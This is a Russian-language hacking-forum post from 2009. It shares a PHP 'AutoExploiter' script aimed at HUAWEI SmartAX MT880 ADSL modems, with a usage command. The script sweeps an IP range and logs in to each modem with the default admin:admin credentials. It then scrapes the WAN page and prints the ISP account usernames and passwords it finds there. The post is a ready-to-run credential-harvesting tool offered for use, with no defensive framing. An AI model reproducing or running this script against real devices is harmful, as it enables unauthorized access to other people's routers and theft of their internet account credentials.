ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

AutoExploiter ADSL-modem beta 0.1, проверялось на HUAWEI SmartAX MT880
  #1  
Старый 18.02.2009, 15:47
Аватар для Lucas
Lucas
Новичок
Регистрация: 27.10.2008
Сообщений: 15
Провел на форуме:
61952

Репутация: 17
Отправить сообщение для Lucas с помощью ICQ
По умолчанию AutoExploiter ADSL-modem beta 0.1, проверялось на HUAWEI SmartAX MT880

Код:
<?
#!/usr/bin/php

error_reporting(0);
set_time_limit(0);

if ($argc<3) {
print "[==============================================]\n";  
print "[ AutoExploiter ADSL-modem beta 0.1            ]\n";
print "[ Grab account [ FreeInet ]                    ]\n";  
print "[ Modem target: HUAWEI SmartAX MT880           ]\n";
print "[ Author: PowerWMZ / Date: 10/08/2008          ]\n";  
print "[==============================================]\n";
print "USAGE:\n"; 
print " [start_ip] - Start target ip\n";
print " [end_ip]   - End target ip\n";
print "SIMPLE:\n";
print " ]$ php {$argv[0]} 192.168.0.1 192.168.12.254\n";

print "\n";
die;
}
$start = $argv[1];
$end   = $argv[2];
print "[+] Grab accounts... ";

  
  $i=ip2long($start);
    while($i<=ip2long($end))
{
$ip = long2ip($i);

$auth_sock = fsockopen($ip, 80, $error, $errstr, 3);
if($auth_sock==false){}
else {
$user = "admin";
$pass = "admin";

$breq  = "GET /WAN.html HTTP/1.0\r\n";   
$breq .= "Host: ".$ip."\r\n";   
$breq .= "User-Agent: Google-bot\r\n";  
$breq .= "Content-Type: text/html; charset=utf-8\r\n";   
$breq .= "Connection: Keep-Alive\r\n"; 
$breq .= "Authorization: Basic ".base64_encode($user.":".$pass)."\r\n\r\n"; 

unset($buff);
fputs($auth_sock, $breq);  
while (!feof($auth_sock))

{
$buff[] = fgets($auth_sock,1024);
}
if (array_key_exists(336, $buff)) {
$sum[0] = $buff[336];
$sum[1] = $buff[338];

              $x=0; while($x < 2){
                $s = strstr($sum[$x],'VALUE=');  

                $nm = strpos($s,'onBlur='); 

                $result = substr($s,7,$nm - 7);
                $check[] = preg_replace("|\"|", "", $result);
                $x++;
             }

                
                print "\n[-] Ip: ".$ip." | ";
                print "Username: ".$check[0]." | ";
                print "Password: ".$check[1];
     } 
}        
fclose($auth_sock);
$i++;
}
print "\n[!] Done!\n";
?>
use script:
Код:
php.exe script.php 192.168.0.1 192.168.12.254
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ